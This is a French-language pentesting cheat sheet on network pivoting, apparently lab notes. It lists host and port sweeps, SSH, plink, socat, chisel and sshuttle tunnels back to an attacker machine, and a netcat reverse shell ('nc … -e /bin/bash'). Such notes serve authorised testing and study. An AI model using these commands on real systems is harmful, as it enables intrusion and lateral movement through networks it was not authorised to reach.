Pivoter
Enumeration des hôtes actifs
./nmap -sn 10.x.x.1-255 -oN scan-USERNAME
for i in {1..255}; do (ping -c 1 172.16.0.${i} | grep "bytes from" &); done #alternative
Détermination des ports actifs sur un hôtes
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
Configuration de proxychains
Les fichiers de configuration de proxychains
./proxychains.conf
~/.proxychains/proxychains.conf
/etc/proxychains.conf
ajouter dans la section [ProxyList]
socks4 127.0.0.1 8080 #ou socks5 pour chisel par exemple
ssh
ssh forward connections
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
ssh -D 1337 user@172.16.0.5 -fN #proxy
ssh reverse connections
ssh-keygen
copier la clé publique dans le fichier authorized_keys sur l’ordinateur de l’attaquant. ajouter command=”echo ‘This account can only be used for port forwarding'”,no-agent-forwarding,no-x11-forwarding,no-pty devant la clé dans ce fichier
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN #reverse proxy. possible dans les versions récentes
Plink.exe (ssh n’est pas disponible dans les versions anciennes de Windows)
Les clés créés avec ssh-keygen doivent être convertis avec puttygen
Possible de télécharger une copie sur https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html ou /usr/share/windows-resources/binaries/plink.exe sur kali
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
sudo apt install putty-tools
puttygen KEYFILE -o OUTPUT_KEY.ppk
socat
Reverse relay
./socat tcp-l:8000 172.16.0.200:443
./nc 127.0.0.1 8000 -e /bin/bash
Port forwarding (easy)
./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
Port forwarding (quiet). Il n’y a pas de ports ouvert sur la machine compromise
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr & #machine de l'attaquant
./socat tcp:10.50.73.2:8001 tcp:172.16.0.10:80,fork & #serveur compromis
Nous pouvons maintenant visiter le site à l’adresse http://localhost:8000
Chisel
Reverse SOCKS Proxy
./chisel server -p LISTEN_PORT --reverse & #machine de l'attaquant
./chisel client ATTACKING_IP:LISTEN_PORT R:socks & #serveur compromis
Forward SOCKS Proxy
./chisel server -p LISTEN_PORT --socks5 #serveur compromis
./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks #attaquant
Remote Port Forward
./chisel server -p LISTEN_PORT --reverse & #attaquant
./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT & #serveur compromis
Local Port Forward
./chisel server -p LISTEN_PORT #serveur compromis
./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT #attaquant
Sshuttle
sudo apt install sshuttle
sshuttle -r user@172.16.0.5 172.16.0.0/24 #accès au réseau 172.16.0.0 sur l'ordinateur de l'attaquant
sshuttle -r username@address -N #accès aux réseaux du serveur comprimis en regardant ses tables de routage
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24 #connexion avec une clé ssh
shuttle -x 172.16.0.100 -r user@172.16.0.100 172.16.0.0/24 #le serveur fait partie du réseau que l'on veut avoir accès
meterpreter port forwarding
portfwd add -l 8081 -p 8080 -r 127.0.0.1